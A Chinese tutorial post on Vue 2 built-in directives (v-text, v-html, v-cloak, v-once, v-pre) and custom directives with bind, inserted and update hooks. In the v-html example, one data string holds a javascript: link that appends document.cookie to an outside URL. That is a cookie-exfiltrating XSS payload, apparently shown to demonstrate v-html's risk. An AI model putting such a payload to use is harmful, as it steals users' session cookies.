Vue(内置指令、自定义指令)

这篇具有很好参考价值的文章主要介绍了Vue(内置指令、自定义指令)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

一、内置指令

1. v-text

和插值语法的效果类似

 <h2>{{name}}</h2>
 <h2 v-text="name">此处v-text绑定的数据替换所有标签内内容</h2>
//vue
  data: {
        name: "xlf",
      },

Vue(内置指令、自定义指令)

注意:不能识别标签数据

 <h2 v-text="name2">不会解析内容</h2>
//vue
  data: {
        name2: "<h3>你好</h3>",
      },

Vue(内置指令、自定义指令)

2.v-html :解决了v-text不能识别标签语言的缺陷

和插值语法的效果类似

 <div id="root">
      <h2>{{name}}</h2>
      <h2 v-html="name"></h2>
      <div v-html="name2">解析结构内容</div>
      <div v-html="str2"></div>
 </div>
//vue
 data: {
        name: "xlf",
        name2: "<h3>你好</h3>",
        str2: '<a href=javascript:location.href="http://www.baidu.com"+document.cookie>找到目标网址了</a>',
      },

Vue(内置指令、自定义指令)

 

3. v-clock

当vue引入在html和js脚本前面时候网络延迟会导致页面未解析就会出现在页面

第一种情况:vue引入在页面头部延迟会等待延迟之后再全部展示(js阻塞)

访问本地服务器比较快(没有延迟)

访问远程服务器比较慢(会有延迟)

同样可以通过chrome的开发者工具进行调整

Vue(内置指令、自定义指令)

 Vue(内置指令、自定义指令)

 js阻塞:引入js插件,网页内容和脚本,然后插件有延时那么其他内容都不会展示

Vue(内置指令、自定义指令)

 

第二种情况:当vue引入在html-body最下面和脚本前面时候会出现

(先展示内容全部包含插值,当vue介入展示解析后的内容)

Vue(内置指令、自定义指令)

 

解决:上方脚本放在html-body下面先出现未解析问题

解决:指令语法:v-clock 配合css让延迟解析内容先不展示,当vue介入之后再展示并移除了v-clock

当网速过慢:禁止将未解析模板展示到页面

//css
  <style>
      [v-cloak] {
        display: none;
      }
   </style>
//html
 <div id="root">
      <h2 v-cloak>{{name}}</h2>
    </div>
//引入插件
  <script src="../vue/vue.js"></script>
//vue解析
<script>
    Vue.config.production = false;
    const vm = new Vue({
      el: "#root",
      data: {
        name: "xlf",
      },
    });
  </script>

4.v-once

v-once所在节点初次动态渲染之后就是静态内容了

后面数据改变不会引起 v-once在结构的更新,可以用于优化性能

 <div id="root">
      <h2 v-once>初始化的n值是{{n}}</h2>
      <h2>当前的n值是{{n}}</h2>
      <button @click="n++">点击+1</button>
</div>
//vue
 const vm = new Vue({
      el: "#root",
      data: {
        n: 1,
      },
    });

Vue(内置指令、自定义指令)

5.v-pre

跳过所在节点被编译,直接展示在页面中

可以利用此指令:跳过没有使用指令或插值语法的节点,加快编译

  <div id="root">
      <h2 v-pre>Vue很简单</h2>
      <h2 v-once v-pre>初始化的n值是{{n}}</h2>
      <h2>当前的n值是{{n}}</h2>
      <button @click="n++">点击+1</button>
  </div>
//vue
  const vm = new Vue({
      el: "#root",
      data: {
        n: 1,
      },
    });

Vue(内置指令、自定义指令)

 

二、自定义指令 :需要亲自操作DOM指令

引出:定义一个v-big指令,和v-text指令类似,但是会把绑定的数值放大10倍

使用配置项:directive

  • 函数式(真实dom元素,绑定)

  • 当指令元素绑定成功之后就会调用big指令函数

  • 指令所在模板被重新解析时候会重新调用(不论其他数据更改就会解析模板,这时候重新调用指令函数)

  <div id="root">
      <h2>当前的n值是:<span v-text="n"></span></h2>
      <!-- 注意此处不可以使用大写的命名和定义方式:使用-来拼接(当出现-拼接后就不可以使用对象名字简写模式) -->
      <h2>放大十倍的n值是:<span v-big="n"></span></h2>
 </div>
//vue
  data: {
        n: 1,
      },
  directives: {
        // big函数何时会被调用?、
        // 1.指令元素成功绑定时候;
        // 2. 指令所在模板被重新解析时候会重新调用
        big(element, binding) {
        // console.log(element, binding);
          element.innerText = binding.value * 10;
      }
}

Vue(内置指令、自定义指令)

 

 Vue(内置指令、自定义指令)

定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点:f标识focus焦点意思(表示既绑定数据,并在页面渲染时候出现焦点获取功能)

  • 对象形式:一般是用在获取焦点或者获取父元素(可以理解为钩子函数

  • 焦点获取会在元素与指令绑定成功后而不是绑定立即生效(所以需要细分自定义指令的步骤划分:绑定时候、插入页面时候,更新时候

 <div id="root">
      <h2>放大十倍的n值是:<span v-big-number="n"></span></h2>
      <button @click="n++">点击+1</button>
      <hr />
      <input type="text" v-fbind:value="n" />
 </div>
//vue
 data: {
        n: 1,
      },
  directives: {
        // 注意自定义指令使用的名字也是对象字符串
       "big-number"(element, binding) {
          element.innerText = binding.value * 10;
          console.log("big", this);
          //注意此处的this属于(window:所有指令的this指向都是window)
        },
        // 对象写法:获取焦点,拿到父元素(理解为钩子)
        // 焦点获取时候会在元素与指令绑定成功后而不是绑定立即生效
        fbind: {
          // 绑定时候调用:可以写样式、value值等
          bind(element, binding) {
            element.value = binding.value;
            console.log("fbind-bind", this);
          },
          // 插入页面时候调用
          inserted(element, binding) {
            element.focus();
            console.log("fbind-inserted", this);
          },
          // 指令所在模板重新解析时候
          update(element, binding) {
            console.log("fbind-update", this);
            // 绑定元素value
            element.value = binding.value;
           // element.focus();
          },
        },
      },

Vue(内置指令、自定义指令)

 Vue(内置指令、自定义指令)

 这里input内还可以在更新数据的时候获取焦点,那就是在updat中添加焦点获取方法,可以通过以上代码查看文章来源地址https://www.toymoban.com/news/detail-427312.html

到了这里,关于Vue(内置指令、自定义指令)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【vue】v-text,v-html渲染数据

    v-text v-html https://www.bilibili.com/video/BV1nV411Q7RX

    2024年04月13日
    浏览(23)
  • Vue2-收集表单数据、过滤器、内置指令与自定义指令、Vue生命周期

    🥔:我徒越万重山 千帆过 万木自逢春 更多Vue知识请点击——Vue.js 1、不同标签的value属性 若: input type=\\\"text\\\"/ 普通输入框,则v-model收集的是value值,用户输入的就是value值。 若: input type=\\\"radio\\\"/ 单选框,则v-model收集的是value值,且要给标签配置value值。 若: input type=\\\"checkb

    2024年02月13日
    浏览(35)
  • vue中内置指令v-model的作用和常见使用方法介绍以及在自定义组件上支持

    一、v-model是什么 v-model是Vue框架的一种内置的API指令,本质是一种语法糖写法,它负责监听用户的输入事件以更新数据,并对一些极端场景进行一些特殊处理。在Vue中,v-model是用于在表单元素和组件之间创建双向数据绑定的指令。它可以简化表单元素的绑定,使得在用户输入

    2024年01月19日
    浏览(40)
  • 02 Vue基础语法之插值语法

    个人名片: 😊 作者简介:一名大一在校生,web前端开发专业 🤡 个人主页:python学不会123 🐼 座右铭:懒惰受到的惩罚不仅仅是自己的失败,还有别人的成功。 🎅**学习目标: 坚持每一次的学习打卡 , 前言 记录vue的学习笔记,有什么不对的地方,欢迎各位大佬进行指正,

    2024年02月12日
    浏览(29)
  • vue指令-插值表达式

    双大括号,可以把vue数据变量直接显示在标签内 data函数返回对象上,用key属性声明 示例:

    2024年02月15日
    浏览(28)
  • 零基础入门Vue之梦开始的地方——插值语法

    我!作为初学者,既然要将Vue,那我一定要介绍一下他是什么?我们可以应用一下官方的话 vue的介绍 Vue (读音 /vjuː/,类似于 view) 是一套用于构建用户界面的渐进式框架。与其它大型框架不同的是,Vue 被设计为可以自底向上逐层应用。Vue 的核心库只关注视图层,不仅易于上

    2024年01月17日
    浏览(25)
  • Vue|内置指令

    Vue的内置指令是带有v-前缀的特殊属性,它的作用是当表达式的值改变时将其一系列连带影响,响应地作用于DOM元素。 推荐专栏:微信小程序实战开发专栏 开始前的准备,在目录下创建文件夹及对应的页面如下 创建好页面容器及对应的Vue实例 v-text指令作用是用于向其所在的

    2024年02月04日
    浏览(28)
  • VUE基本语法——指令与表单数据的收集

    目录 内置指令 v-bind v-model v-for v-on v-if v-else-if v-else v-show v-text v-html v-pre v-once v-clocak 自定义指令 自定义指令何时调用 自定义指令总结 语法 配置对象中的回调函数 收集表单数据的类型 “” “” “” 阻止表单默认提交行为: 他是用来进行单向绑定对表达式进行解析,简写方

    2024年02月02日
    浏览(26)
  • 【Vue3 知识第三讲】模板语法、Vue3指令

    插值表达式 {{ data }} 可以用于渲染 Vue 中提供的数据。 数字化管理平台 Vue3+Vite+VueRouter+Pinia+Axios+ElementPlus 权限系统-商城 个人博客地址 注:vue中的插值提供了真正的js环境,因此我们可以直接使用 JS 表达式 2.1 概述 指令是什么 指令就是一个自定义属性,Vue中的指令都是以 v

    2024年02月10日
    浏览(33)
  • 前端技术学习第九讲:VUE基础语法---VUE常用指令

    在VUE学习中,通常使用相关指令使VUE对象中的内容与网页进行挂载绑定,是我们的数据与视图之间产生关联,完成渐进式动态效果。VUE指令都会以“v-”开头。 指令名 描述 v-text 将文本内容挂载到页面元素中 v-html 将html代码展示到页面元素中 v-bind 将内容解析成为js,绑定至页

    2024年02月13日
    浏览(31)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包